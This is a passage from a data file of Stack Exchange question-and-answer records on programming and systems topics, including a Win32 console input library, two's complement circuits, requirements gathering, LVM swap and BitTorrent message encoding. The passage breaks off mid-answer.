Console::title(const std::string& rStrTitle)     {        SetConsoleTitleA(rStrTitle.c_str());    }    void Console::resize(const short width, const short height)    {        long lHeight = 0, lWidth = 0;        HMONITOR hMonitor = NULL;        MONITORINFO mi = { 0 };        CONSOLE_FONT_INFO cfi = { 0 };        COORD crdfontsize = { 0, 0 };        COORD coord = { 0, 0 };        COORD crdbuf = { width, height };        hMonitor = MonitorFromWindow(GetConsoleWindow(), MONITOR_DEFAULTTONEAREST);        mi.cbSize = sizeof(MONITORINFO);        if (!GetMonitorInfo(hMonitor, &mi) || !GetCurrentConsoleFont(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi))        {            return;        }        crdfontsize = GetConsoleFontSize(GetStdHandle(STD_OUTPUT_HANDLE), cfi.nFont);        lWidth = width * crdfontsize.X + 2 * (GetSystemMetrics(SM_CXFRAME) + GetSystemMetrics(SM_CXBORDER));        lHeight = height * crdfontsize.Y + 2 * (GetSystemMetrics(SM_CYFRAME) + GetSystemMetrics(SM_CYBORDER)) + GetSystemMetrics(SM_CYCAPTION);        if (crdfontsize.X == 0            || crdfontsize.Y == 0            || lWidth > (mi.rcWork.right - mi.rcWork.left)            || lHeight > (mi.rcWork.bottom - mi.rcWork.top)            || lWidth < GetSystemMetrics(SM_CXMIN)            || lHeight < GetSystemMetrics(SM_CYMIN))        {            return;        }        coord.X = static_cast<short>((mi.rcWork.right - mi.rcWork.left) / crdfontsize.X);        coord.Y = static_cast<short>((mi.rcWork.bottom - mi.rcWork.top) / crdfontsize.Y);        if (SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), coord)            && SetWindowPos(GetConsoleWindow(), NULL, 0, 0, lWidth, lHeight, SWP_NOZORDER | SWP_NOMOVE)            && SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), crdbuf))        {            SetWindowPos(GetConsoleWindow(), NULL, 0, 0, lWidth + 50, lHeight + 50, SWP_NOZORDER | SWP_NOMOVE);        }    }    POINT Console::getMousePosition() const    {        POINT pos = { 0, 0 };        if (!GetCursorPos(&pos) && ScreenToClient(GetConsoleWindow(), &pos))        {            throw failed to GetCursorPos(&pos);        }        POINT delta = { 0, 0 };        ScreenToClient(GetConsoleWindow(), &pos);        delta.x = pos.x / getFontSize().X;        delta.y = pos.y / getFontSize().Y;        return delta;    }    bool Console::pollEvent(Event& ev)    {        if (!mMouseMoveQueue.empty())        {            ev.type = ms::Event::MouseMoved;            ev.mouseMove.x = mMouseMoveQueue.front().x;            ev.mouseMove.y = mMouseMoveQueue.front().y;            mMouseMoveQueue.pop_front();            return true;        }        INPUT_RECORD record;        DWORD numEvents;        if (!GetNumberOfConsoleInputEvents(GetStdHandle(STD_INPUT_HANDLE), &numEvents))        {            return false;        }        while (numEvents > 0)        {            DWORD numRead;            if (!ReadConsoleInput(GetStdHandle(STD_INPUT_HANDLE), &record, 1, &numRead))            {                return false;            }            if (numRead == 0)            {                return false;            }            switch (record.EventType)            {            case KEY_EVENT:            {                Keyboard::Key code = priv::KeyConvert(record.Event.KeyEvent.wVirtualKeyCode);                if (code == ms::Keyboard::Unknown)                {                    break;                }                ev.key.code = code;                ev.type = (record.Event.KeyEvent.bKeyDown) ? ms::Event::KeyPressed : ms::Event::KeyReleased;                return true;            }            case MOUSE_EVENT:            {                if (record.Event.MouseEvent.dwEventFlags == 0 || record.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)                {                    DWORD change = record.Event.MouseEvent.dwButtonState;                    if (change == FROM_LEFT_1ST_BUTTON_PRESSED)                    {                        ev.mouseButton.button = ms::Mouse::Left;                    }                    else if (change == RIGHTMOST_BUTTON_PRESSED)                    {                        ev.mouseButton.button = ms::Mouse::Right;                    }                    else if (change == FROM_LEFT_2ND_BUTTON_PRESSED)                    {                        ev.mouseButton.button = ms::Mouse::Middle;                    }                    else if (change == FROM_LEFT_3RD_BUTTON_PRESSED)                    {                        ev.mouseButton.button = ms::Mouse::XButton1;                    }                    else if (change == FROM_LEFT_4TH_BUTTON_PRESSED)                    {                        ev.mouseButton.button = ms::Mouse::XButton2;                    }                    else                    {                        break; //invalid key                    }                    ev.type = (change & 0x8000) ? ms::Event::MouseButtonPressed : ms::Event::MouseButtonReleased;                    return true;                }                if (record.Event.MouseEvent.dwEventFlags == MOUSE_WHEELED)                {                    ev.type = ms::Event::MouseWheelMoved;                    ev.mouseWheel.delta = record.Event.MouseEvent.dwButtonState;                    return true;                }                if (record.Event.MouseEvent.dwEventFlags == MOUSE_MOVED)                {                    mMouseMoveQueue.push_back(getMousePosition());                    return true;                }            }            case WINDOW_BUFFER_SIZE_EVENT:            {                ev.type = ms::Event::Resized;                ev.size.width = record.Event.WindowBufferSizeEvent.dwSize.X;                ev.size.height = record.Event.WindowBufferSizeEvent.dwSize.Y;                return true;            }            case FOCUS_EVENT:            {                //should be ignored                break;            }            default:            {                //ignored                break;            }            } //switch            // event was ignored - let's see how many are left.            if (!GetNumberOfConsoleInputEvents(GetStdHandle(STD_INPUT_HANDLE), &numEvents))            {                return false;            }        }        return false;    }}int main(){    ms::Console window(350, 50, 80, 50, test console library 0.01, 8, 8);    bool isRunning = true;    while (isRunning)    {        ms::Event event;        while (window.pollEvent(event))        {            // Window closed or escape key pressed: exit            if ((event.type == ms::Event::Closed) || ((event.type == ms::Event::KeyPressed) && (event.key.code == ms::Keyboard::Escape)))            {                isRunning = false;            }            else if (event.type == ms::Event::Resized)            {                std::cout << Resized to  << event.size.width << ,  << event.size.height << std::endl;            }            else if (event.type == ms::Event::MouseButtonPressed)            {                std::cout << Mouse button  << event.mouseButton.button <<  pressed << std::endl;            }            else if (event.type == ms::Event::MouseButtonReleased)            {                std::cout << Mouse button  << event.mouseButton.button <<  released << std::endl;            }            else if (event.type == ms::Event::MouseWheelMoved)            {                std::cout << Mouse wheel moved by  << event.mouseWheel.delta << std::endl;            }            else if (event.type == ms::Event::KeyPressed)            {                std::cout << Key  << char(event.key.code) <<  pressed << std::endl;            }            else if (event.type == ms::Event::KeyReleased)            {                std::cout << Key  << char(event.key.code) <<  released << std::endl;            }            else if (event.type == ms::Event::MouseMoved)            {                std::cout << Mouse moved by  << event.mouseMove.x << ,  << event.mouseMove.y << std::endl;            }        }        if (ms::Keyboard::isKeyPressed(ms::Keyboard::A))        {            std::cout << 'A';        }        if (ms::Keyboard::isKeyPressed(ms::Keyboard::Left))        {            std::cout <<  move left ;        }        else if (ms::Keyboard::isKeyPressed(ms::Keyboard::Right))        {            std::cout <<  move right ;        }    }}"  , "title": "Simple Win32 console library (mimicking almighty SFML)"  , "tags": "c++;c++11;console;library;sfml"  } 
{  "id": "_cs.51034"  , "question": "How can a 4-bit two's complement operation be implemented using only boolean logic gates (AND, OR, NOR, NOT, NAND, XOR, and XNOR)?(This question was redirected to CS from Stack Overflow)"  , "title": "Two's complement Using ONLY Logic Gates"  , "tags": "logic;boolean algebra"  , "accepted_answer": "A two's complement operation is simply a one's complement operation followed by the addition of 1 to the result. One's complement is easy: simply invert all of the input bits.The addition of 1 must be done with a 4-bit adder. A 4-bit adder is constructed using four stages of a 1-bit full adder. The 1-bit full adder accepts two bits, plus a Carry input, and generates the sum of the two bits, plus a Carry output. The following diagram is a 1-bit full adder:We can cascade four of the 1-bit full adder stages together, feeding the Carry output of each stage to the Carry input of the next stage. The inverted (one's complement) inputs are applied to the B inputs of the four stages. To perform an addition of 1, we apply the 4-bit binary value 0001 to the A inputs. The complete boolean circuit is shown below:The above circuit can be reduced by noting that each XOR operation on the input of each adder stage can be replaced either with an inverter if the A input is a 0, or a NOP (no operation) if the A input is a 1. On further analysis, further reductions may be made to the circuit, as well."  } 
{  "id": "_softwareengineering.114394"  , "question": "My team and I are very keen on doing Scrum manual-style (with paper and scissors). Though, we are struggling to find a tool to manage our backlog. The main requirements are:To be able to print the backlog in cards to stick to the whiteboardTo be able to assign backlog items to the releases manuallySo far we have not found anything that matches these criteria. Suggestions?"  , "title": "Scrum tool for Product Backlog management"  , "tags": "scrum;product backlog"  , "accepted_answer": "We're using Rally. Once the sprint is defined, cards get printed, put up on the board, and we have a feedback loop between the board & the online record. Everyone in the office can see the board, so anyone can know the sprint status."  } 
{  "id": "_opensource.625"  , "question": "Many programming languages have popular open-source implementations: C, C++, Java, Javascript, Python, C#, PHP. Does statistical data exist that shows how much of the software (open source or not) is built with open source compilers or interpreters and how much with closed source? And does the data provide historical data, so that it can be seen if the usage of open-source development systems in programming has increased or decreased over time?"  , "title": "Are there statistics showing the usage over time of open source implementations of programming languages compilers/interpreters?"  , "tags": "history;statistics"  , "accepted_answer": "The data from blackduck isn't broken down by open/closed compilers, but it does cover the specific languages and provide historical information.Additionally, it is focused on language use solely within open source projects. Obtaining this information for closed/proprietary projects is obviously problematic.With the possible exception of the Visual Studio/.NET specific languages such as VB.NET, and probably C# and Apple's objective C, I suspect that most of the compiled language use is from gcc (which is, of course, more than just a c or c++ compiler).This is especially likely as I doubt too many open source projects use proprietary compilers, as the cost is a barrier to contributions.This is the closest I've been able to find in the ten days since you asked the question."  } 
{  "id": "_cstheory.25129"  , "question": "The Watts-Strogatz model describes a mechanism of generating small-world networks.The idea is to start from a ring network in which each node is connected a fixed number of its closest neighbors. After that, a rewiring is performed in which each link present in the network has a probability $p$ of changing one of its endpoints to a new random node. The closer $p$ to 1, the more random is the network.Is there a similar small-world model for bipartite graphs? That is, is there a mechanism for generating random bipartite graphs that possess the usual properties of small-world networks (a.k.a., the maximum of the minimum distance between any pair of nodes scales no higher than as the logarithm of the number of nodes)?"  , "title": "Bipartite small-world networks"  , "tags": "graph theory;network modeling"  } 
{  "id": "_softwareengineering.67923"  , "question": "What methods seem to work best to coax requirements out of non-tech business people?  I am working with a team thats trying to get a spec together for a project.  Every time we have met and it comes down to expectations for the next meeting, we ask for the business people to bring back their requirements.  They usually respond something like this: Well, do you think you guys could whip up a prototype so we can see what we like next weekyou know, not with any data or anything since its a prototype, just the functionality.  This is a 6 month plus project so that is obviously infeasible (we would have to develop the entire thing!), and we dont even know what to prototype without some sort of spec.  Frankly, I think like most people, they have some idea of what they want, they just are not thinking about it in the focused sort of way necessary to gather true requirements. As an alternative to simply telling them, give us what you want or we cant/wont do any work (we do want them to be happy with the results), are there ways to help them decide what they want? For example, we could tell them:Draw out some screens (in Powerpoint, on a napkin, whatever) that show the UI you would like with all of the data you want to see and a description of the functionality in the margins. From this, we will polish it up and build the backend based on this set of behavior requirements.ORDont worry about how it will look right now (the number 1 hang up). Just give us a list of all the data you want about each thing the program keeps track of. So for Customer you might list: name, address, phone number, orders, etc.  It does not have to be a perfect database structure, but we can work something out from this and get an idea of what you are looking forDo either of these alternative approaches to get business people focused on what they want make sense? Are there alternatives that you have seen in action?"  , "title": "Coaxing requirements out of business people?"  , "tags": "design;business;requirements"  , "accepted_answer": "I have spent the last 3 months in an exhaustive - and exhausting - requirements-gathering phase of a major project and have learned, above all else, that there is no one-size-fits-all solution.  There is no process, no secret, that will work in every case.  Requirements analysis is a genuine skill, and just when you think you've finally figured it all out, you get exposed to a totally different group of people and have to throw everything you know out the window.Several lessons that I've learned:Different stakeholders think at different levels of abstraction.It is easy to say talk at a business level, not technical, but it's not necessarily that easy to do.  The system you're designing is an elephant and your stakeholders are the blind men examining it.  Some people are so deeply immersed in process and routine that they don't even realize that there is a business.  Others may work at the level of abstraction you want but be prone to making exaggerated or even false claims, or engage in wishful thinking.Unfortunately, you simply have to get to know all of the individuals as individuals and understand how they think, learn how to interpret the things they say, and even decide what to ignore.Divide and ConquerIf you don't want something done, send it to a committee.Don't meet with committees.  Keep those meetings as small as possible.  YMMV, but in my experience, the ideal size is 3-4 people (including yourself) for open sessions and 2-3 people for closed sessions (i.e. when you need a specific question answered).I try to meet with people who have similar functions in the business.  There's really very little to gain and very much to lose from tossing the marketing folks in the room with the bean counters.  Seek out the people who are experts on one subject and get them to talk about that subject.A meeting without preparation is a meeting without purpose.A couple of other answers/comments have made reference to the straw-man technique, which is an excellent one for those troublesome folks that you just can't seem to get any answers out of.  But don't rely on straw-men too much, or else people will start to feel like you're railroading them.  You have to gently nudge people in the right direction and let them come up with the specifics themselves, so that they feel like they own them (and in a sense, they do own them).What you do need to have is some kind of mental model of how you think the business works, and how the system should work.  You need to become a domain expert, even if you aren't an expert on the specific company in question.  Do as much research as you can on your business, their competitors, existing systems on the market, and anything else that might even be remotely related.Once at that point, I've found it most effective to work with high-level constructs, such as Use Cases, which tend to be agreeable to everybody, but it's still critical to ask specific questions.  If you start off with How do you bill your customers?, you're in for a very long meeting.  Ask questions that imply a process instead of belting out the process at the get-go: What are the line items? How are they calculated? How often do they change? How many different kinds of sales or contracts are there? Where do they get printed?  You get the idea.If you miss a step, somebody will usually tell you.  If nobody complains, then give yourself a pat on the back, because you've just implicitly confirmed the process.Defer off-topic discussions.As a requirements analyst you're also playing the role of facilitator, and unless you really enjoy spending all your time in meetings, you need to find a way to keep things on track.  Ironically, this issue becomes most pernicious when you finally do get people talking.  If you're not careful, it can derail the train that you spent so much time laying the tracks for.However - and I learned this the hard way a long time ago - you can't just tell people that an issue is irrelevant.  It's obviously relevant to them, otherwise they wouldn't be talking about it.  Your job is to get people saying yes as much as possible and putting up a barrier like that just knocks you into no territory.This is a delicate balance that many people are able to maintain with action items - basically a generic queue of discussions that you've promised to come back to sometime, normally tagged with the names of those stakeholders who thought it was really important. This isn't just for diplomacy's sake - it's also a valuable tool for helping you remember what went on during the meetings, and who to talk to if you need clarification later on.Different analysts handle this in different ways; some like the very public whiteboard or flip-chart log, others silently tap it into their laptops and gently segue into other topics.  Whatever you feel comfortable with.You need an agendaThis is probably true for almost any kind of meeting but it's doubly true for requirements meetings.  As the discussions drag on, people's minds start to wander off and they start wondering when you're going to get to the things they really care about.  Having an agenda provides some structure and also helps you to determine, as mentioned above, when you need to defer a discussion that's getting off-topic.Don't walk in there without a clear idea of exactly what it is that you want to cover and when.  Without that, you have no way to evaluate your own progress, and the users will hate you for always running long (assuming they don't already hate you for other reasons).Mock ItIf you use PowerPoint or Visio as a mock-up tool, you're going to suffer from the issue of it looking too polished.  It's almost an uncanny valley of user interfaces; people will feel comfortable with napkin drawings (or computer-generated drawings that look like napkin drawings, using a tool like Balsamiq or Sketchflow), because they know it's not the real thing - same reason people are able to watch cartoon characters.  But the more it starts to look like a real UI, the more people will want to pick and paw at it, and the more time they'll spend arguing about details that are ultimately insignificant.So definitely do mock ups to test your understanding of the requirements (after the initial analysis stages) - they're a great way to get very quick and detailed feedback - but keep them lo-fi and don't rush into mocking until you're pretty sure that you're seeing eye-to-eye with your users.Keep in mind that a mock up is not a deliverable, it is a tool to aid in understanding.  Just as you would not expect to be held captive to your mock when doing the UI design, you can't assume that the design is OK simply because they gave your mock-up the thumbs-up.  I've seen mocks used as a crutch, or worse, an excuse to bypass the requirements entirely; make sure you're not doing that.  Go back and turn that mock into a real set of requirements.Be patient.This is hard for a lot of programmers to believe, but for most non-trivial projects, you can't just sit down one time and hammer out a complete functional spec.  I'm not just talking about patience during a single meeting; requirements analysis is iterative in the same way that code is.  Group A says something and then Group B says something that totally contradicts what you heard from Group A.  Then Group A explains the inconsistency and it turns out to be something that Group C forgot to mention.  Repeat 500 times and you have something roughly resembling truth.Unless you're developing some tiny CRUD app (in which case why bother with requirements at all?) then don't expect to get everything you need in one meeting, or two, or five.  You're going to be listening a lot, and talking a lot, and repeating yourself a lot.  Which isn't a terrible thing, mind you; it's a chance to build some rapport with the people who are inevitably going to be signing off on your deliverable.Don't be afraid to change your technique or improvise.Different aspects of a project may actually call for different analysis techniques.  In some cases classical UML (Use Case / Activity diagram) works great.  In other cases, you might start out with business KSIs, or brainstorm with a mind map, or dive straight into mockups despite my earlier warning.The bottom line is that you need to understand the domain yourself, and do your homework before you waste anyone else's time.  If you know that a particular department or component only has one use case, but it's an insanely complicated one, then skip the use case analysis and start talking about workflows or data flows.  If you wouldn't use the same tool for every part of an app implementation, then why would you use the same tool for every part of the requirements?Keep your ear to the ground.Of all the hints and tips I've read for requirements analysis, this is probably the one that's most frequently overlooked.  I honestly think I've learned more eavesdropping on and occasionally crashing water-cooler conversations than I have from scheduled meetings.If you're accustomed to working in isolation, try to get a spot around where the action is so that you can hear the chatter.  If you can't, then just make frequent rounds, to the kitchen or the bathroom or wherever.  You'll find out all kinds of interesting things about how the business really operates from listening to what people brag or complain about during their coffee and smoke breaks.Finally, read between the lines.One of my biggest mistakes in the past was being so focused on the end result that I didn't take the time to actually hear what people were saying.  Sometimes - a lot of the time - it might sound like people are blathering on about nothing or harping about some procedure that sounds utterly pointless to you, but if you really concentrate on what they're saying, you'll realize that there really is a requirement buried in there - or several.As corny and insipid as it sounds, the Five Whys is a really useful technique here.  Whenever you have that knee-jerk that's stupid reaction (not that you would ever say it out loud), stop yourself, and turn it into a question: Why? Why does this information get retyped four times, then printed, photocopied, scanned, printed again, pinned to a particle board, shot with a digital camera and finally e-mailed to the sales manager?  There is a reason, and they may not know what it is, but it's your job to find out.  Good luck with that. ;)"  } 
{  "id": "_unix.59182"  , "question": "I resized with lvresize the swap from 4 to 2G and can't  turn it on. swapon /dev/VolGroup/lv_swapswapon: /dev/VolGroup/lv_swap: swapon failed: Invalid argumentlvdisplay /dev/VolGroup/lv_swap  --- Logical volume ---  LV Name                /dev/VolGroup/lv_swap  VG Name                VolGroup  LV UUID                h7DEfK-cdVr-UzeQ-8qDJ-rAhH-ejYS-k2wyY6  LV Write Access        read/write  LV Status              available  # open                 0  LV Size                2.06 GiB  Current LE             66  Segments               1  Allocation             inherit  Read ahead sectors     auto  - currently set to     256  Block device           253:1"  , "title": "Turn on Swap after resize /"  , "tags": "lvm;swap"  , "accepted_answer": "You need to run mkswap on that device:# mkswap /dev/VolGroup/lv_swapResizing the device will not, by itself, re-prepare the device for swapping."  } 
{  "id": "_reverseengineering.5896"  , "question": "Immunity Debugger offers a feature called PyPlugin. However there is not enough documentation on it. The help for immdbg says this :PyPlugins are python scripts located at PyPlugins\\ directory,  PyPlugins are called when F4 or the PyPlugin icon located at the main  toolbar are pressed. Both (F4 or the PyPlugin icon) will popup a file  browse dialog, where the starting folder is the PyPlugin Directory.  When a pyplugin is executed, its main() gets called. Please note a  pyplugin can not receive any arguments and will not return any value  other than inscreen errors.In reality when the F4 key is pressed, nothing special happens. F4 is actually the shortcut to Run to selection. Further there is no PyPlugin icon located at the main toolbar. The PyPlugins directory under Immunity Debugger directory is also empty, so no examples to look.My question is what is a PyPlugin ? Are there any ready made PyPlugins to refer as an example ?Note : I am only talking about PyPlugins, not PyCommands"  , "title": "Immunity Debugger PyPlugin"  , "tags": "python;immunity debugger"  , "accepted_answer": "Going over ImmunityDbg presentation - page 26, v1.73 dir - dir structureImmDbg help file - PyHooks ... they look exactly as a python plugin, only that they are placed inside PyHooks directory.I'm making and educated guess that PyPlugins is probably a leftover from previous versions of the debugger and at some point it became known as PyScripts.So, the actual examples and guidance could be found here "  } 
{  "id": "_unix.263683"  , "question": "I installed Letsencrypt during the beta, following the instructions in the email, and now it seems broken on my debian jessie server.I try to uninstall letsencrypt and want to start over with my (misconfigured apache)What I did:mkdir -p /backupsmv /etc/letsencrypt /backups/cp -a /etc/apache2/sites-available /backups/for i in /etc/apache2/sites-available/* ; do sed -i '/letsencrypt/d' $i; donerm /etc/apache2/sites-available/*ssl.conf /etc/apache2/sites-enabled/*ssl.confapache2ctl gracefulIs this enough? Or are there more files that would make a problem, when I start over again?"  , "title": "Uninstall all changes made by Letsencrypt"  , "tags": "ssl;letsencrypt"  } 
{  "id": "_softwareengineering.227812"  , "question": "I start every .java file in my project with a license (BSD, in my case). And its first line says:/** * Copyright (c) 2011-2014, Firstname Lastname * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions etc.The question is, why do I need to show years there? I see many other projects are doing the same. What will I lose by just saying Copyright (c) Firstname Lastname, without that time interval."  , "title": "Why do we need years in a software license?"  , "tags": "licensing"  } 
{  "id": "_opensource.2880"  , "question": "I'm using portlet-api.jar within my maven project, but I can't find any hint on an applicable license. Is it public domain? And if so, is it written down somewhere?<dependency>    <groupId>javax.portlet</groupId>    <artifactId>portlet-api</artifactId>    <version>1.0</version></dependency>"  , "title": "What license is portlet-api.jar in version 1.0?"  , "tags": "licensing;relicensing;java"  , "accepted_answer": "The answer isn't all that obvious. The portlet-api 1.0 POM on Maven Central contains a link to the original download URL, which is that of JSR-168, the portlet spec. Downloads there are made available pursuant to the acceptance of a software license agreement which is typical of JSRs and not open source. Further, the archive you get then contains a license.txt file which doesn't grant any rights, and the source code is marked asCopyright 2003 IBM Corporation and Sun Microsystems, Inc.All rights reserved.Use is subject to license terms.There is however an Apache 2.0-licensed repository, hosted by the Apache Software Foundation. Given that the Maven Central JAR was built by Emmanuel Venisse of the ASF (as documented the manifest in the JAR), it's quite likely that it is effectively Apache-licensed.I don't know what the history of the code is, so you may take all this with a pinch of salt. The ASF are careful about the code they host though, so the risk is minimal; Debian uses that to build its own portlet-api JARs."  } 
{  "id": "_unix.387635"  , "question": "During the installation of e.g. Ubuntu with the debian-installer, is there any visible (debug) output, where I can see what is downloaded from where?(I have a local mirror configured, but it is so slow that I want to investigate the situation.)The problems are:the installer does neither show from where it downloads, nor the speed in its normal outputin /var/log/syslog is constantly filled with status updatesthe pager more of busybox cant scroll back nor search, so it is hard to tell if the installer even echoed the server before downloading a bunch of filesps does not reveal wget or any other download tool with argumentsthere is no netstat or ntop or similar installedIm not sure where the files are downloaded, so I cant not even make a download speed estimate with ls -la by watching some files grow"  , "title": "Can I debug download/network issues while using a standard ISO with debian-installer?"  , "tags": "debian;ubuntu;system installation;busybox;debian installer"  } 
{  "id": "_codereview.3770"  , "question": "I'm writing a BitTorrent client. Part of the protocol is an exchange of length-prefixed messages between peers. The forms of these messages are described in the official specification and also in the unofficial specification that is maintained by the community. This is my code for writing out this messages into a stream. I'm currently using C++11 as supported by GCC 4.6.I have a header file:#ifndef MESSAGE_HPP#define MESSAGE_HPP#include <ostream>#include <string>#include <type_traits>namespace greed {    // This type defines all the message types and the matching codes    // It uses C++11's ability to define an enum's underlying type    enum message_type : signed char    {    // this keep_alive as negative is a hack I'm not too happy with        keep_alive      = -1,        choke           = 0,        unchoke         = 1,        interested      = 2,        not_interested  = 3,        have            = 4,        bitfield        = 5,        request         = 6,        piece           = 7,        cancel          = 8    };    // There are three basic kinds of messages    // These three basic templates are used in CRTP below    //  - messages with no payload: these contain only the length    //         and the type code    template <message_type Type>        struct no_payload_message        {            std::ostream& put(std::ostream& os) const;        };    //  - messages with a fixed-length payload: these contain the length,    //         the type code, and a payload of a fixed-length, that is    //         determined by the message type.    template <typename Message>        struct fixed_payload_message        {            std::ostream& put(std::ostream& os) const;        };    //  - messages with a payload of variable length: these contain the length,    //         the type code, and the payload.    template <typename Message>        struct variable_payload_message        {            std::ostream& put(std::ostream& os) const;        };    // A template definition for messages, templated on the message type.    template <message_type Type>        struct message {};    // A specialization for keep-alives, which are special messages that    // consist of a single zero byte.    template<>        struct message<keep_alive>        {        public:            std::ostream& put(std::ostream& os) const;        };    // Specializations for the no-payload messages types    // The only difference between these is the message type.    template <>        struct message<choke> : public no_payload_message<choke> {};    template <>        struct message<unchoke> : public no_payload_message<unchoke> {};    template <>        struct message<interested> : public no_payload_message<interested> {};    template <>        struct message<not_interested> : public no_payload_message<not_interested> {};    // The specializations for fixed-length payload messages contain:    //  - appropriate constructors    //  - a type that defines the format of the message (data_type)    //  - a function that returns the data (data)    // These are used by the fixed_payload_message template    template<>        struct message<have> : public fixed_payload_message<message<have>>        {        public:            message() = delete;            explicit message(unsigned index);            struct data_type;            data_type data() const;        private:            unsigned index;        };    // The specializations for variable-length payload messages contain:    //  - appropriate constructors    //  - a type that defines the format of the message (data_type)    //  - a function that returns the variable payload (payload)    //  - a function that writes out the parts of the message that are not variable (init)    // These are used by the variable_payload_message template    template<>        struct message<bitfield> : public variable_payload_message<message<bitfield>>        {        public:            message() = delete;            explicit message(std::string bits);            const std::string payload() const;            struct data_type;            void init(char* ptr) const;        private:            std::string bits;        };    template<>        struct message<request> : public fixed_payload_message<message<request>>        {        public:            message() = delete;            message(unsigned index, unsigned begin, unsigned length);            struct data_type;            data_type data() const;        private:            unsigned index;            unsigned begin;            unsigned length;        };    template<>        struct message<piece> : public variable_payload_message<message<piece>>        {        public:            static const message_type id = piece;            message() = delete;            message(unsigned index, unsigned begin, std::string block);            const std::string payload() const;            struct data_type;            void init(char* ptr) const;        private:            unsigned index;            unsigned begin;            std::string block;        };    template<>        struct message<cancel> : public fixed_payload_message<message<cancel>>        {        public:            message() = delete;            message(unsigned index, unsigned begin, unsigned length);            struct data_type;            data_type data() const;        private:            unsigned index;            unsigned begin;            unsigned length;        };    // A simple type trait that determines if a type is a message type    template <typename NonMesssage>        struct is_message : std::false_type {};    template <message_type Type>        struct is_message<message<Type>> : std::true_type {};    // Implementation of operator<< for all message types    // This requires the put member function    template <typename Message>        std::ostream& operator<<(std::ostream& os, typename std::enable_if<is_message<Message>::value,const Message&>::type message);}#endifAnd an implementation file:#include message.hpp// this header contains the hton function#include util.hpp#include <memory>#include <new>namespace greed {    // simple implementation of operator<< for messages    template <typename Message>        std::ostream& operator<<(std::ostream& os, const Message& message) {            return message.put(os);        }    // implementation of no-payload message base class    template <message_type Type>        std::ostream& no_payload_message<Type>::put(std::ostream& os) const {            // make sure this struct is not padded or anything            // this is a gcc attribute, I'll change this when there is            // support for the C++11 attribute alignas            struct __attribute__ ((packed)) data_type {                unsigned len;                message_type type;            };            // hton is a function that converts from host-endianness to network-endianness            data_type buffer = { hton(sizeof(data_type)-sizeof(data_type::len)), Type }; // lay out the length and the message type            return os.write(reinterpret_cast<char*>(&buffer), sizeof(data_type)); // write it        }    // implementation of fixed-length payload message base class    template <typename Message>        std::ostream& fixed_payload_message<Message>::put(std::ostream& os) const {            auto buffer = static_cast<const Message*>(this)->data(); // get the data from the derived class            return os.write(reinterpret_cast<char*>(&buffer), sizeof(buffer)); // write it        }    // implementation of variable-length payload message base class    template <typename Message>        std::ostream& variable_payload_message<Message>::put(std::ostream& os) const {            typedef typename Message::data_type header_type;            auto m = static_cast<const Message*>(this);            const auto payload = m->payload(); // get the payload            const auto data_type_size = sizeof(header_type)+payload.size(); // get the total size            std::unique_ptr<char[]> mem(new char[data_type_size]); // allocate a buffer for it            m->init(mem.get()); // write out the fixed-length portion            std::copy(payload.begin(), payload.end(), mem.get()+sizeof(header_type)); // copy the payload to the buffer            return os.write(mem.get(), data_type_size); // write it        }    std::ostream& message<keep_alive>::put(std::ostream& os) const {        return os.put(0); // keep-alives are just a simple zero byte    }    message<have>::message(unsigned index) : index(index) {}    struct __attribute__ ((packed)) message<have>::data_type{        unsigned len;        message_type type;        unsigned index;    };    // have message data    message<have>::data_type message<have>::data() const {        return data_type{ hton(sizeof(data_type)-sizeof(data_type::len)), have, hton(index) };    }    message<bitfield>::message(std::string bits) : bits(bits) {}    struct __attribute__ ((packed)) message<bitfield>::data_type {        unsigned len;        message_type type;    };    // bitfield message payload    const std::string message<bitfield>::payload() const {        return bits;    }    void message<bitfield>::init(char* ptr) const {        // construct a new message<bitfield>::data_type in place        new(ptr) data_type{ hton(sizeof(data_type)-sizeof(data_type::len)+bits.size()), bitfield };    }    message<request>::message(unsigned index, unsigned begin, unsigned length) : index(index), begin(begin), length(length) {}    struct __attribute__ ((packed)) message<request>::data_type {        unsigned len;        message_type type;        unsigned index;        unsigned begin;        unsigned length;    };    // request message data    message<request>::data_type message<request>::data() const {        return data_type{ hton(sizeof(data_type)-sizeof(data_type::len)), request, hton(index), hton(begin), hton(length) };    }    message<piece>::message(unsigned index, unsigned begin, std::string block) : index(index), begin(begin), block(block) {}    struct __attribute__ ((packed)) message<piece>::data_type {        unsigned len;        message_type type;        unsigned index;        unsigned begin;    };    const std::string message<piece>::payload() const {        return block;    }    void message<piece>::init(void* ptr) const {        // construct a new message<piece>::data_type in place        new(ptr) data_type{ hton(sizeof(data_type)-sizeof(data_type::len)+block.size()), piece, index, begin };    }    message<cancel>::message(unsigned index, unsigned begin, unsigned length) : index(index), begin(begin), length(length) {}    struct __attribute__ ((packed)) message<cancel>::data_type {        unsigned len;        message_type type;        unsigned index;        unsigned begin;        unsigned length;    };    // cancel message data    message<cancel>::data_type message<cancel>::data() const {        return data_type{ hton(sizeof(data_type)-sizeof(data_type::len)), cancel, hton(index), hton(begin), hton(length) };    }    // explicit template instantiations for all message types    template struct message<keep_alive>;    template struct message<choke>;    template struct message<unchoke>;    template struct message<interested>;    template struct message<not_interested>;    template struct message<have>;    template struct message<bitfield>;    template struct message<request>;    template struct message<piece>;    template struct message<cancel>;    template std::ostream& operator<<(std::ostream& os, const message<keep_alive>& message);    template std::ostream& operator<<(std::ostream& os, const message<choke>& message);    template std::ostream& operator<<(std::ostream& os, const message<unchoke>& message);    template std::ostream& operator<<(std::ostream& os, const message<interested>& message);    template std::ostream& operator<<(std::ostream& os, const message<not_interested>& message);    template std::ostream& operator<<(std::ostream& os, const message<have>& message);    template std::ostream& operator<<(std::ostream& os, const message<bitfield>& message);    template std::ostream& operator<<(std::ostream& os, const message<request>& message);    template std::ostream& operator<<(std::ostream& os, const message<piece>& message);    template std::ostream& operator<<(std::ostream& os, const message<cancel>& message);}I'm a bit unsure about how I dealt with the variable-length messages, especially the usage of placement new, without calling the destructor.So, opinions?"  , "title": "BitTorrent peer protocol messages"  , "tags": "c++;c++11;memory management;networking"  , "accepted_answer": "    enum message_type : signed charDo you have a specific reason (e.g. protocol requirements?) that this be signed? Bit-level stuff usually involves unsigned types. The protocol specs also explicity mention the size of the message type field: a single byte. So I recommend std::uint8_t here.    // A template definition for messages, templated on the message type.    template <message_type Type>        struct message {};If only the 